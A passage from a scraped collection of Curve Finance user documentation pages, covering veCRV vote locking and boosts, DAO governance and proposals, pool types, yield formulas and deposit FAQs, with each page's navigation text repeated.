Using curve on fantom Using curve on polygon Factory Pools Factory Pools Pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross asset swaps Recovering a cross asset swap Dropping and replacing a stuck transaction None Appendix Appendix Glossary Security Links Links Curve.fi Curve DAO Github Governance Forum Technical Docs Twitter Techincal Documentation Table of contents Understanding Governance Voting on the Curve DAO Voting Power The DAO Dashboard Submitting proposals Emergency DAO Understanding governance Understanding Governance Voting on the Curve DAO To vote on the Curve DAO, users need to lock vote lock their CRV. By doing so, participants can earn a boost on their provided liquidity and vote on all DAO proposals. Users who reach a voting power of 2500 veCRV can also create new proposals. There is no minimum voting power required to vote. Voting Power veCRV stands for vote escrowed CRV, it's a locker where users can lock their CRV for different lengths of time to gain voting power. Users can lock their CRV for a minimum of week and a maximum of four years. As users with long voting escrow have more stake, they receive more voting power. The DAO Dashboard You can visit the Curve DAO dashboard at this address: https://dao.curve.fi/dao On this page, you can find all current and closed votes. All proposals should have a topic on the Curve governance forum at this address: https://gov.curve.fi/ Submitting proposals If you wish to create a new official proposal, you should draft a proposal and post it on the governance forum. You must also research that it's possible and gauge interest of the community via the Curve Discord, Telegram or Governance forum. If you're not sure about the technical details of submitting your proposal to the Ethereum blockchain, you can ask a member of the team to help. Emergency DAO The emergency DAO multisig may kill non-factory pools up to 2 months old. It may also kill reward gauges at any time, setting its rate of CRV emissions to 0. Pools that have been killed will only allow users to remove_liquidity . See the members of the emergency DAO in the technical docs: https://docs.curve.fi/curve_dao/ownership-proxy/Agents/#agents The Curve DAO may override the emergency DAO decision of killing a pool, making it alive again. Last update: 2023-09-12 Back to top", "labels": ["Documentation"]}, {"title": "Vote locking boost", "html_url": "https://resources.curve.fi/governance/vote-locking-boost/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding curve Understanding crypto pools $crvUSD $crvUSD Understanding crvusd Markets Loan creation Loan details Understanding tokenomics FAQ $CRV Token $CRV Token Understanding crv Crv basics Crv tokenomics Staking your crv Claiming trading fees Liquidity Providers Liquidity Providers Understanding curve pools Base and metapools Deposit faqs Calculating yield Depositing Depositing Depositing Depositing into a metapool Depositing into the susd pool Depositing into the tri pool Depositing into the y pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your crv rewards Gauge weights Governance Governance Understanding governance Vote locking boost Vote locking boost Table of contents Vote Locking What is vote locking? What is the vote locking boost? When does the boost start? What are veCRV? How is your boost calculated? What if I provide liquidity in multiple pools? What happens if more people vote lock? How often does my boost records voting power changes? How can I apply my boost? How to know my boost is active? Voting Snapshot Proposals Proposals Proposals Community fund Creating a dao proposal Multichain Multichain Understanding multichain Bridging funds Using curve on fantom Using curve on polygon Factory Pools Factory Pools Pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross asset swaps Recovering a cross asset swap Dropping and replacing a stuck transaction None Appendix Appendix Glossary Security Links Links Curve.fi Curve DAO Github Governance Forum Technical Docs Twitter Techincal Documentation Table of contents Vote Locking What is vote locking? What is the vote locking boost? When does the boost start? What are veCRV? How is your boost calculated? What if I provide liquidity in multiple pools? What happens if more people vote lock? How often does my boost records voting power changes? How can I apply my boost? How to know my boost is active? Vote locking boost Vote Locking Answering all your burning questions about the vote locking boost What is vote locking? CRV holders can vote lock their CRV into the Curve DAO to receive veCRV. The longer they lock for, the more veCRV they receive. Vote locking allows you to vote in governance, boost your CRV rewards and receive trading fees. What is the vote locking boost? When vote locking CRV, you will also earn a boost on your provided liquidity of up to 2.5x. The goal is to incentivise users to participate in governance by rewarding them with a bigger share of the daily CRV inflation. When does the boost start? The boost will start on the 26 th of August 2020 around 11pm UTC. What are veCRV? veCRV stands for voting escrow CRV. They are your CRV locked for voting. The longer you lock your CRV for, the more voting power you have (and the bigger boost you can reach). You can vote lock 1,000 CRV for a year to have a 250 veCRV weight. Each CRV locked for four years is equal to 1 veCRV. The number of veCRV you will receive depends on how long you lock your CRV for. The minimum locking time is one week and the maximum locking time is four years. Your veCRV weight gradually decreases as your escrowed tokens approach their lock expiry. A graph illustrating the decrease can be found at this address: https://dao.curve.fi/locker How is your boost calculated? To reach your maximum boost of 2.5x, there are several parameters to take into consideration. You can find the current DAO voting power at this address: https://dao.curve.fi/locker You can find a calculator at this address: https://dao.curve.fi/minter/calc What if I provide liquidity in multiple pools? Your voting power applies to all gauges but may produce different boosts based on how much liquidity you are providing and how much total liquidity the pool has. What happens if more people vote lock? If other liquidity providers vote lock more CRV, your boost will stay what it was when you applied it. If you abuse this, another user can kick and force a boost update to take you down to your real boost. How often does my boost records voting power changes? Your voting weight decreases over time but your boost will take notice of your decreasing voting power at certain checkpoints like withdrawing, depositing into a gauge or minting CRV. For example if you start at 1000 veCRV and your voting power decreases to 800 veCRV, your boost will still use your original voting power of 1000 veCRV until a user checkpoint. How can I apply my boost? After creating or adding to your lock, you need to click the apply boost button to update your boost on each of the gauge you're providing liquidity in. Your boost can also be updated by depositing or withdrawing from a gauge. Click below for a guide on how locking and boosting your CRV rewards Boosting your CRV Rewards How to know my boost is active? If your boost is showing then it is active. If you have locked but your boost isn't showing then you need to apply it. Last update: 2023-08-15 Back to top", "labels": ["Documentation"]}, {"title": "Voting", "html_url": "https://resources.curve.fi/governance/voting/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding curve Understanding crypto pools $crvUSD $crvUSD Understanding crvusd Markets Loan creation Loan details Understanding tokenomics FAQ $CRV Token $CRV Token Understanding crv Crv basics Crv tokenomics Staking your crv Claiming trading fees Liquidity Providers Liquidity Providers Understanding curve pools Base and metapools Deposit faqs Calculating yield Depositing Depositing Depositing Depositing into a metapool Depositing into the susd pool Depositing into the tri pool Depositing into the y pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your crv rewards Gauge weights Governance Governance Understanding governance Vote locking boost Voting Voting Table of contents Voting How to participate in governance? What are veCRV? Can I start voting right away? How to vote? Snapshot Proposals Proposals Proposals Community fund Creating a dao proposal Multichain Multichain Understanding multichain Bridging funds Using curve on fantom Using curve on polygon Factory Pools Factory Pools Pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross asset swaps Recovering a cross asset swap Dropping and replacing a stuck transaction None Appendix Appendix Glossary Security Links Links Curve.fi Curve DAO Github Governance Forum Technical Docs Twitter Techincal Documentation Table of contents Voting How to participate in governance? What are veCRV? Can I start voting right away? How to vote? Voting Voting How to participate in governance? To participate in governance, Curve Finance users need to lock their CRV into a voting escrow. You can do so at this address: https://dao.curve.fi/locker What are veCRV? veCRV stands for voting escrow CRV. They are your CRV locked for voting. The longer you lock your CRV for, the more voting power you have (and the bigger boost you can reach). You can vote lock 1,000 CRV for a year to have a 250 veCRV weight. Your veCRV weight gradually decreases as your escrowed tokens approach their lock expiry. A graph illustrating the decrease can be found at this address: https://dao.curve.fi/locker Get more voting power by locking your CRV for a longer period of time. Can I start voting right away? You can only vote using your voting weight at the block where a proposal was created. How to vote? Simply visit the proposal of your choice, click your vote option and confirm your transaction. You can find DAO proposals at this address: https://dao.curve.fi/dao Where can I find out about governance? You can visit the Curve Finance governance forum at this address http://gov.curve.fi/ Last update: 2023-08-15 Back to top", "labels": ["Documentation"]}, {"title": "Community fund", "html_url": "https://resources.curve.fi/governance/proposals/community-fund/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding curve Understanding crypto pools $crvUSD $crvUSD Understanding crvusd Markets Loan creation Loan details Understanding tokenomics FAQ $CRV Token $CRV Token Understanding crv Crv basics Crv tokenomics Staking your crv Claiming trading fees Liquidity Providers Liquidity Providers Understanding curve pools Base and metapools Deposit faqs Calculating yield Depositing Depositing Depositing Depositing into a metapool Depositing into the susd pool Depositing into the tri pool Depositing into the y pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your crv rewards Gauge weights Governance Governance Understanding governance Vote locking boost Voting Snapshot Proposals Proposals Proposals Community fund Community fund Table of contents Community Fund Creating a dao proposal Multichain Multichain Understanding multichain Bridging funds Using curve on fantom Using curve on polygon Factory Pools Factory Pools Pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross asset swaps Recovering a cross asset swap Dropping and replacing a stuck transaction None Appendix Appendix Glossary Security Links Links Curve.fi Curve DAO Github Governance Forum Technical Docs Twitter Techincal Documentation Table of contents Community Fund Community fund Community Fund CRV initial distribution allowed for a community fund of around $151M to be used in cases of emergencies or awarded to community-lead initiatives. The Curve DAO can decide to award part of this fund through a proposal. Creating a DAO proposal If you have a project you feel is deserving a grant, please create a proposal or come discuss it with a team member on Discord or Telegram. Last update: 2023-08-15 Back to top", "labels": ["Documentation"]}, {"title": "Creating a dao proposal", "html_url": "https://resources.curve.fi/governance/proposals/creating-a-dao-proposal/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding curve Understanding crypto pools $crvUSD $crvUSD Understanding crvusd Markets Loan creation Loan details Understanding tokenomics FAQ $CRV Token $CRV Token Understanding crv Crv basics Crv tokenomics Staking your crv Claiming trading fees Liquidity Providers Liquidity Providers Understanding curve pools Base and metapools Deposit faqs Calculating yield Depositing Depositing Depositing Depositing into a metapool Depositing into the susd pool Depositing into the tri pool Depositing into the y pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your crv rewards Gauge weights Governance Governance Understanding governance Vote locking boost Voting Snapshot Proposals Proposals Proposals Community fund Creating a dao proposal Creating a dao proposal Table of contents Creating a DAO proposal Creating your vote Creating your proposal Multichain Multichain Understanding multichain Bridging funds Using curve on fantom Using curve on polygon Factory Pools Factory Pools Pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross asset swaps Recovering a cross asset swap Dropping and replacing a stuck transaction None Appendix Appendix Glossary Security Links Links Curve.fi Curve DAO Github Governance Forum Technical Docs Twitter Techincal Documentation Table of contents Creating a DAO proposal Creating your vote Creating your proposal Creating a dao proposal Creating a DAO proposal Official DAO proposals are the only way to create enforceable change on the Curve protocol. There are currently two type of votes: parameter and text. Parameter votes are automatically committed to the DAO three days after they are enacted at the end of the vote. Text proposals are different as they will often necessitate development. For those, it is recommended to discuss with the Curve team to understand feasibility and create a signalling proposal. To create a new DAO proposal, you need at least 2,500 veCRV (2,500 CRV locked for four years or 10,000 CRV locked for one year). Creating your vote Visit the Curve DAO: https://dao.curve.fi/dao , select your type of vote and submit it. Creating your proposal Every DAO proposal must be accompanied with a proposal on the Curve governance forum. Visit the proposal section: https://gov.curve.fi/c/proposals/8 and click \"New Topic\" . You will then be presented with a template to help you present your proposed choices to the community. After that's done, be sure to engage with members of the community who have questions about your proposal. Last update: 2023-08-15 Back to top", "labels": ["Documentation"]}, {"title": "Base and metapools", "html_url": "https://resources.curve.fi/lp/base-and-metapools/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding curve Understanding crypto pools $crvUSD $crvUSD Understanding crvusd Markets Loan creation Loan details Understanding tokenomics FAQ $CRV Token $CRV Token Understanding crv Crv basics Crv tokenomics Staking your crv Claiming trading fees Liquidity Providers Liquidity Providers Understanding curve pools Base and metapools Base and metapools Table of contents Base & MetaPools Plain v1 Pools Lending Pools MetaPools Deposit faqs Calculating yield Depositing Depositing Depositing Depositing into a metapool Depositing into the susd pool Depositing into the tri pool Depositing into the y pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your crv rewards Gauge weights Governance Governance Understanding governance Vote locking boost Voting Snapshot Proposals Proposals Proposals Community fund Creating a dao proposal Multichain Multichain Understanding multichain Bridging funds Using curve on fantom Using curve on polygon Factory Pools Factory Pools Pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross asset swaps Recovering a cross asset swap Dropping and replacing a stuck transaction None Appendix Appendix Glossary Security Links Links Curve.fi Curve DAO Github Governance Forum Technical Docs Twitter Techincal Documentation Table of contents Base & MetaPools Plain v1 Pools Lending Pools MetaPools Base and metapools Base & MetaPools Plain v1 Pools A plain pool is the simplest and earliest implementation of Curve, where all assets in the pool are ordinary ERC-20 tokens pegged to the same price. One of the largest is TriPool , holding only the three biggest stable coins (USDC/USDT/DAI). It's a non-lending gas optimised pool similar to the sUSD one. Depositing into the Tri-Pool In plain pools, your risks are as follow: Smart contract issues with Curve Systemic issues with the stable coins in those pools Systemic issues with Synthetix (for sUSD) As you can see, risks are different which might make this pool a better choice for you depending on what your concerns in the cryptosphere are. Lending Pools A small number of v1 pools are lending pools, which means you earn interest from lending as well as trading fees. The Compound pool is the first and oldest. The you see above stands for cTokens which are Compound native tokens. This means your stable coins in the Compound pool would only be lent on the Compound protocol. Another pool is yPool which are tokens for Yearn Finance, a yield aggregator. You might think that Compound doesnt always have the best lending rates and you would be right and thus the yToken balances automatically rebalance your stable coin to the protocol(s) with the better rates (Compound, Aave and dYdX). Its free and non-custodial (as is Curve) but it is also why the yPools are considered more risky as you use a series of protocols that could themselves have critical vulnerabilities. Pools like AAVE and sAAVE also lend on AAVE v2. Lending pools are generally more expensive to interact with. In those pools, your risks are as follow: Smart contract issues with lending protocols Smart contract issues with Curve Smart contract issues with iEarn Systemic issues with the stable coins in those pools Whilst its important to not underplay risks associated with providing liquidity on Curve or DeFi in general, its worth noting that all the protocols mentioned above have existed for several months (or more for Compound or iEarn) meaning they have been extensively time tested and exploit attempts have been numerous. MetaPools Metapools allow for one token to seemingly trade with another underlying base pool. This means we could create, for example, the Gemini USD metapool : [GUSD, [3Pool]]. In this example users could seamlessly trade GUSD between the three coins in the 3Pool (DAI/USDC/USDT). This is helpful in multiple ways: Prevents diluting existing pools Allows Curve to list less liquid assets More volume and more trading fees for the DAO The Metapool in question would take GUSD and 3Pool LP tokens. This means that liquidity providers of the 3Pool who do not provide liquidity in the GUSD Metapool are shielded from systemic risks from the Metapool. Metapools in the UI will have a deposit wrapped option to deposit the 3pool token. Last update: 2023-08-15 Back to top", "labels": ["Documentation"]}, {"title": "Calculating yield", "html_url": "https://resources.curve.fi/lp/calculating-yield/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding curve Understanding crypto pools $crvUSD $crvUSD Understanding crvusd Markets Loan creation Loan details Understanding tokenomics FAQ $CRV Token $CRV Token Understanding crv Crv basics Crv tokenomics Staking your crv Claiming trading fees Liquidity Providers Liquidity Providers Understanding curve pools Base and metapools Deposit faqs Calculating yield Calculating yield Table of contents Calculating Yield Types of Yield Base vAPY Incentives tAPR Depositing Depositing Depositing Depositing into a metapool Depositing into the susd pool Depositing into the tri pool Depositing into the y pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your crv rewards Gauge weights Governance Governance Understanding governance Vote locking boost Voting Snapshot Proposals Proposals Proposals Community fund Creating a dao proposal Multichain Multichain Understanding multichain Bridging funds Using curve on fantom Using curve on polygon Factory Pools Factory Pools Pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross asset swaps Recovering a cross asset swap Dropping and replacing a stuck transaction None Appendix Appendix Glossary Security Links Links Curve.fi Curve DAO Github Governance Forum Technical Docs Twitter Techincal Documentation Table of contents Calculating Yield Types of Yield Base vAPY Incentives tAPR Calculating yield Calculating Yield Explanation of how the Curve UI displays yield calculations Like all documentation within this guide, this article is intended to be detailed but non-technical, outside of a few light mathematical formulas. While we highlight specific smart contract function names that the Curve UI may reference for convenience, no knowledge of coding is otherwise necessary to understand this article. Developers seeking a more in-depth explanation of these concepts should consult the technical documentation at https://curve.readthedocs.io/ Types of Yield Curve UI displaying different types of displayed Curve yield (tAPY and tAPR). In the above screenshot you can see a Curve pool has the potential to offer many different types of yield. The documentation provides an overview of the different types of yield here: Understanding $CRV Its important to remember that these numbers are a projections of historical pool performance. The user would get this rate if the pool performance stays exactly the same for one year. These yield types are: Base vAPY: Shown on the first line, this number represents the fees that accrue to holders of the LP token based on trading volume. More Info $CRV Rewards tAPR: Shown on the second line, the rewards tAPR represents the rate of $CRV token emissions one would have earned if the pool has a rewards gauge and the user stakes into this rewards gauge. The number is listed as a range of possible rewards, based on the users locked veCRV the size of this boost can vary. More Info Incentives Rewards tAPR: Some pools also choose to stream rewards in the form of a different token this is represented on the third line if applicable. vAPY stands for variable annual percentage yield , this value calculates an annualized estimate of the trading fee yield based on the past days trading activity, inclusive of any effect of compounding. The rewards tAPR stands for token annual percentage rate token rewards must be claimed manually and therefore do not automatically compound, so rate is the more proper term. Base vAPY When Curve pools are launched, they receive a value for both the fee (the overall fee applied to trades) and the admin_fee (the percentage of this fee that goes to the Curve DAO as opposed to pool LPs). These parameters are directly viewable on the smart contract through the corresponding function names. These fees are displayed on the Curve UI pool page: These parameters may also be updated in the future by the Curve DAO by calling the commit_new_fee method. If the fees are in the process of being changed, these are readable in the smart contract via the future_fee and future_admin_fee methods. The fees are specifically earned or charged every time a user interacts with a pool contract through a transaction which may affect the pool balances. For example, directly calling the exchange function would rebalance the pool, so a fee clearly applies. If you add or remove liquidity in an imbalanced fashion, this would also adjust the ratios of tokens within the pool and thus be subject to fees. No fees are charged if a user adds coin in a balanced proportion or on removal. When you call methods to preview how many tokens you might receive for interacting with a pool (ie get_dy or calc_token_amount ) the values they return are usually but not always inclusive of any fees the UI calculations are intended to make any corrections where appropriate, but be sure to ask the support team if you have questions. Theoretically, one could calculate the base vAPY for any period by calculating the fees for every transaction and summing over the entire range. However, the Curve UI utilizes a simpler methodology to calculate the base vAPY, where t is the time in days: $$ \\left[ \\frac{virtual\\_price({t=0})}{virtual\\_price({t=-1})} \\right] ^{365} - 1 $$ In other words, the vAPY measures the change in the pools \"virtual price\" between today and yesterday, then annualizes this rate. The \"virtual price\" is a measure of the pool growth over time, and is viewable directly on the UI. The UI receives this value directly by calling the get_virtual_price method on the pool contract. Every time a transaction occurs that charges a fee, the virtual price is incremented accordingly. Thus, when a pool launches with a virtual price of exactly 1, if the pools virtual price is 1.01 at some future time, an LP holding a token has seen the tokens value increase by 1%. $$ \\frac{1.01}{1.00} - 1 = 0.01 = 1\\% $$ A virtual price of 1.01 means an LP will get 1% more value back on removing liquidity. Similarly, new users adding liquidity will receive 1% fewer LP tokens on deposit. For pegged stablecoin pools, virtual price can easily be utilized to calculate vAPY of the pool since inception with no further calculations necessary. For v2 pools, one must also consider the fluctuating prices of underlying assets. For developers, here are more details about trade fees from the technical documentation: About Trade Fees Claiming Admin Fees Fee Distribution $CRV Rewards tAPR The Curve DAO also authorizes some pools to receive bonus rewards from $CRV token emission, as described in the Understanding Gauges section of the documentation. If the pool has an eligible gauge, then the UI displays the range of possible tAPR values users are earning at present, subject to change in the future. The formula used here to calculate rewards tAPR: $$ tAPR = \\frac{(crv\\_price * inflation\\_rate * relative\\_weight * 12614400)}{working\\_supply * asset\\_price * virtual\\_price} $$ These parameters are obtained from various data sources, mostly on-chain: crv_price: The current price of the $CRV token in USD. This could be extrapolated from on-chain data, but the UI relies on the CoinGecko API to fetch this value. inflation_rate: The inflation rate of the $CRV token, accessed from the rate function of the $CRV token. relative_weight: Based on weekly voting, each Curve pool rewards gauge has a weighting relative to all other Curve gauges. This value can be calculated by calling the same function on the Curve gauge controller contract . https://dao.curve.fi/ working_supply: Accessed by calling the same function on the specific Curve gauge contract for the pool. asset_price: The price of the asset that is, if the pool contains only bitcoin, you would use the current price of $BTC. For v2 pools, this must be calculated by averaging over the specific assets within the pool. virtual_price: The measure of the pool growth over time, as described above. The magic number 12614400 is number of seconds in a year (60 * 60 * 24 * 365 = 31536000) times 0.4. In this case the 0.4 is due to the effect of boosts (minimum boost of 1 / maximum boost of 2.5 = 0.4). As shown in the UI, all tAPR values are displayed as a range, with the base rate on the left of the arrow representing the default rate one would receive if the user has no boost, and the value on the right of the arrow representing the maximum value a user could receive if the user has the maximum boost, which is 2.5 times higher than the minimum boost. Further details about calculating boosts are provided here . For developers, here are relevant links to the technical documentation: About Liquidity Gauges Gauge Controller Gauges for EVM Sidechains Gauge Proxy Incentives tAPR All pools may permissionlessly stream other token rewards without approval from the Curve DAO. The UI displays these bonus rewards only when applicable. In the example of stETH below, note how the pool is streaming $LDO tokens in addition to $CRV rewards. Pool Overview Page stETH Pool Page Further information on these extra incentives is available in the developer documentation. The Curve DAO: Liquidity Gauges and Minting CRV Curve 1.0.0 documentation Last update: 2023-08-15 Back to top", "labels": ["Documentation"]}, {"title": "Deposit faqs", "html_url": "https://resources.curve.fi/lp/deposit-faqs/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding curve Understanding crypto pools $crvUSD $crvUSD Understanding crvusd Markets Loan creation Loan details Understanding tokenomics FAQ $CRV Token $CRV Token Understanding crv Crv basics Crv tokenomics Staking your crv Claiming trading fees Liquidity Providers Liquidity Providers Understanding curve pools Base and metapools Deposit faqs Deposit faqs Table of contents Deposit FAQs What is the y in the y pools (also what is Yearn)? What is the deposit wrapped option? What happens when you provide liquidity on Curve? Does the coin I deposit matter? Understanding deposit bonuses But does that mean I can still withdraw in my favorite stable coin? How quickly does interest accrue/compound? What is arbitrage? What are incentivized pools? What makes the incentives APR move? Calculating yield Depositing Depositing Depositing Depositing into a metapool Depositing into the susd pool Depositing into the tri pool Depositing into the y pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your crv rewards Gauge weights Governance Governance Understanding governance Vote locking boost Voting Snapshot Proposals Proposals Proposals Community fund Creating a dao proposal Multichain Multichain Understanding multichain Bridging funds Using curve on fantom Using curve on polygon Factory Pools Factory Pools Pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross asset swaps Recovering a cross asset swap Dropping and replacing a stuck transaction None Appendix Appendix Glossary Security Links Links Curve.fi Curve DAO Github Governance Forum Technical Docs Twitter Techincal Documentation Table of contents Deposit FAQs What is the y in the y pools (also what is Yearn)? What is the deposit wrapped option? What happens when you provide liquidity on Curve? Does the coin I deposit matter? Understanding deposit bonuses But does that mean I can still withdraw in my favorite stable coin? How quickly does interest accrue/compound? What is arbitrage? What are incentivized pools? What makes the incentives APR move? Deposit faqs Deposit FAQs What is the y in the y pools (also what is Yearn)? Yearn is a yield aggregator. You might think that Compound doesnt always have the best lending rates and you would be right thus the yToken balances automatically your stablecoin to the protocol(s) with the better rates (Compound, Aave and dYdX). Its free and non-custodial (as is Curve) but it is also why the yPools are considered more risky as you use a series of protocols that could themselves have critical vulnerabilities. What is the deposit wrapped option? (This applies to metapools or pools with tokens with c tokens or y tokens). If you deposit a stablecoin to one of the pools with lending, Curve will automatically wrap your token to a cToken (for Compound) or a yToken(for yearn). The option is simply there if you have already previously wrapped your tokens on yearn or lent them on Compound. If your stablecoin is in its original form, you can ignore this option. What happens when you provide liquidity on Curve? When you go to the deposit page and deposit one stablecoin, it then gets split between each token in the pool. Thats something you have to keep in mind because if you were to deposit 1000 DAI in the yPool, a per the screenshot below, your balance would be roughly equal to 158.9 DAI, 142.4 USDC, 582.4 USDT and 121.6 TUSD. Those values change constantly as people trade and arb the price of stable coins. Does the coin I deposit matter? Besides the deposit bonus explained below, it doesnt matter. Your tokens will get split into the pool and it doesnt affect your returns so you can deposit one, some or all the coins into the pool without worrying about it affecting your returns. Understanding deposit bonuses On the screenshot above, you can see TUSD is quite low on the pool so if your plan was to join the yPool, you would ideally deposit TUSD into it. As you can see on the screenshot, you would get an instant 0.2% bonus for depositing TUSD into the pool. The main reason for this is that TUSD is currently slightly more expensive so if you went to a centralized exchange you might sell it for $1.007 instead of $1. The deposit bonus reflects that. The other reason behind this is that the pools are always trying to balance themselves and go back to equal parts (in this case 25% TUSD) so depositing the coin with the lowest share will get you a deposit bonus. But does that mean I can still withdraw in my favorite stable coin? When you withdraw, the same principle applies (but reversed). If you withdraw the stable coin with the biggest share, you would get a bonus but you still choose what stable coin you want to withdraw. How quickly does interest accrue/compound? Interests for pools using lending protocols compound every block or 15 seconds or immediately after fees are paid. Its also compounded automatically. What is arbitrage? Arbitrage is the simultaneous buying and selling of, in our case, a token to make a profit. Because cryptocurrency markets can often lack liquidity, there are often opportunities for traders to take advantage of price discrepancies to make a profit which can be helped by protocols like Curve. An example of that below: https://etherscan.io/tx/0x259b7ac1f50554fe5ddcfeea7b4fa90ad70356ddfbbd341289db0dfbf99447f9 In this transaction, someone used Curve and OasisDex and made around $200. This goes back to what was discussed earlier with liquidity pools. The idea is that is you incentivize traders to take advantage of price discrepancies which we all get rewarded for. What are incentivized pools? Liquidity pools (particularly one without an opportunity cost) are a great way to help stable coins keep their pegs. It makes easy for traders to arb (see question above) when the price slips off the peg which is very important for all the companies and foundations developing stable coins as having a $0.98 stablecoin is never a good look. As a result, some pools on Curve are incentivized. That means that on top of trading fees and lending fees, the companies will give rewards to people providing liquidity to the pools with their coins. What makes the incentives APR move? The steth pool in this screenshot earns another 2.69% of LDO per year and there are three variables that can make this change: The LDO distributed is based on the number of people staking their LP tokens, which means your share of rewards gets lower if more people start staking The price of LDO (price of LDO going up would make the yearly bonus go up) The size of weekly rewards (48,000 SNX as of today) could also be lowered as Lido reevaluates its partnership with Curve Last update: 2023-08-15 Back to top", "labels": ["Documentation"]}, {"title": "Depositing", "html_url": "https://resources.curve.fi/lp/depositing/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding curve Understanding crypto pools $crvUSD $crvUSD Understanding crvusd Markets Loan creation Loan details Understanding tokenomics FAQ $CRV Token $CRV Token Understanding crv Crv basics Crv tokenomics Staking your crv Claiming trading fees Liquidity Providers Liquidity Providers Understanding curve pools Base and metapools Deposit faqs Calculating yield Depositing Depositing Depositing Depositing Table of contents Depositing Before depositing... Choosing the right pool Depositing into a metapool Depositing into the susd pool Depositing into the tri pool Depositing into the y pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your crv rewards Gauge weights Governance Governance Understanding governance Vote locking boost Voting Snapshot Proposals Proposals Proposals Community fund Creating a dao proposal Multichain Multichain Understanding multichain Bridging funds Using curve on fantom Using curve on polygon Factory Pools Factory Pools Pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross asset swaps Recovering a cross asset swap Dropping and replacing a stuck transaction None Appendix Appendix Glossary Security Links Links Curve.fi Curve DAO Github Governance Forum Technical Docs Twitter Techincal Documentation Table of contents Depositing Before depositing... Choosing the right pool Depositing Depositing Before depositing... Before depositing into a Curve pool, it is highly recommended to familiarise yourself with how Curve works, how it makes money and its basic mechanisms. You can do so by visiting the page below: Understanding Curve v1 Choosing the right pool Curve has many pools to choose from currently accepting stable coins and tokenised Bitcoin (Bitcoin on Ethereum). If you are not sure which pool is right for you, click the link below: Understanding Curve Pools Last update: 2023-08-15 Back to top", "labels": ["Documentation"]}, {"title": "Understanding curve pools", "html_url": "https://resources.curve.fi/lp/understanding-curve-pools/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding curve Understanding crypto pools $crvUSD $crvUSD Understanding crvusd Markets Loan creation Loan details Understanding tokenomics FAQ $CRV Token $CRV Token Understanding crv Crv basics Crv tokenomics Staking your crv Claiming trading fees Liquidity Providers Liquidity Providers Understanding curve pools Understanding curve pools Table of contents Understanding Curve Pools What are liquidity pools? Base vAPY What are Curve fees? Base and metapools Deposit faqs Calculating yield Depositing Depositing Depositing Depositing into a metapool Depositing into the susd pool Depositing into the tri pool Depositing into the y pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your crv rewards Gauge weights Governance Governance Understanding governance Vote locking boost Voting Snapshot Proposals Proposals Proposals Community fund Creating a dao proposal Multichain Multichain Understanding multichain Bridging funds Using curve on fantom Using curve on polygon Factory Pools Factory Pools Pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross asset swaps Recovering a cross asset swap Dropping and replacing a stuck transaction None Appendix Appendix Glossary Security Links Links Curve.fi Curve DAO Github Governance Forum Technical Docs Twitter Techincal Documentation Table of contents Understanding Curve Pools What are liquidity pools? Base vAPY What are Curve fees? Understanding curve pools Understanding Curve Pools As you should know, providing liquidity has its fair share of risks so in this article, we review the different Curve pools to help you find one that matches your risk tolerance while explaining the risks involved with being a liquidity provider on Curve. There are currently several Curve pools with new pools added all the time. Its important to understand that when you provide liquidity to a pool, no matter what coin you deposit, you essentially gain exposure to all the coins in the pool which means you want to find a pool with coins you are comfortable holding. Before we continue, we assume you have familiarized yourself with the basics of Curve: Understanding Curve v1 All Curve liquidity gauges receive CRV based on how much the DAO allocates to it. What are liquidity pools? If you are new to Ethereum or DeFi, liquidity pools are a seemingly complicated concept to understand. Liquidity pools are pools of tokens that sit in smart contracts. If you were to create a pool of DAI and USDC where 1 DAI = 1 USDC. You would have the same amount of tokens, lets say 1,000 tokens (1,000 DAI and 1,000 USDC) in the pool. If trader 1 comes and exchange 100 DAI for 100 USDC, you would then have 1,100 DAI and 900 USDC in the pool so the price would tilt slightly lower for USDC to encourage another trader to exchange USDC for DAI and average the pool back. You can see those details for each pool and it is something you can take advantage of when depositing. On the screenshot above for the TriCrypto v2 Pool , the three volatilely priced tokens are held in proportions similar to their price. If the coins are out of proportion traders are incentivized to take advantage of the arbitrage, which will push the balances in the pool back towards proportion Base vAPY To understand what the different pools do, its also important to understand how Curve makes money for liquidity providers. Curve interests come from trading fees. Every time someone uses Curve to exchange tokens, through the Curve website, 1inch, Paraswap or another dex aggregator, a small fee is distributed to liquidity providers. This is why base vAPY increases with volume on Curve. Some pools (Compound, PAX, Y, BUSD) also earn interest from lending protocols. Behind the scenes, those four pools also use lending protocols (like Compound or AAVE) to help generate more interest for liquidity providers. Whilst it means those pools can be better performers when lending rates are high, its also 